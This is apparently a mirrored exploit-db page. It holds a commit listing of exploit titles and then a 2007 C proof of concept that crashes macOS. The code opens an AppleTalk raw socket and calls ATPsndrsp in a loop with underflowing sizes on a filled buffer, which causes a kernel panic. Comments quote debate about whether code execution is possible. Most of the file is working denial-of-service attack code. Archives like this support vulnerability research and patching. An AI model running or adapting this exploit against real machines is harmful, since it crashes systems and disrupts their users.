exploit-db-mirror/platforms/osx/dos/3130.c
Offensive Security 477bcbdcc0 DB: 2016-03-17
5 new exploits

phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit
phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities

My Book World Edition NAS Multiple Vulnerability
My Book World Edition NAS - Multiple Vulnerabilities

Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL
Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities

cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities

DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)
DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities

Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities

New-CMS - Multiple Vulnerability
New-CMS - Multiple Vulnerabilities

Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
Web Cookbook - Multiple Vulnerabilities

KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

60 lines
1.9 KiB
C
Executable file

/* proof of concept for moab-14-01-2007
* Copyright (c) 2006, LMH <lmh [at] infopull.com>
* Shout outs to: icer, kf, ilja, hd, et al.
*
* free feedback samples for public consumption:
*
* "the panic() function takes a string for the reason the panic
* occurred. As you can see from the above, the reason us due to the
* fact the buffer size is absurd. The system caught this absurdity and
* handled it by calling panic().
* In other words, not capable of executing arbitrary code."
* -- Rosyna Keller, talking about allocbuf() failing due to allocation
* of a negative size buffer, caused by a simple integer overflow.
*
*
* ">LMH claims #10 leads to "potential arbitrary code execution." That's
* >not good enough where I come from. Either the arbitrary code executes,
* >or it doesn't. I may be talking thru my elbow, but I suggest the
* >absence of a working example of "arbitrary code execution" is that we
* >have caused a kernel panic, and stack based execution ceases."
* -- dinornis, stack based haxor in training.
*
*/
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>
#include <netat/appletalk.h>
int main(int argc, char **argv) {
int fd, retv, i;
unsigned int a, b;
char *powder;
if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
exit(1);
powder = malloc(6000);
memset(powder, 0x41, 5999);
for (i=0; i < 7000; i++) {
a = strlen(powder) - i;
b = i;
printf("powder@%p a=%u b=%u\n", powder, a, b);
retv = ATPsndrsp(fd, (unsigned char *)powder, a, b);
}
close(fd);
free(powder); // won't reach this unless appletalk is disabled
return 0;
}
// milw0rm.com [2007-01-14]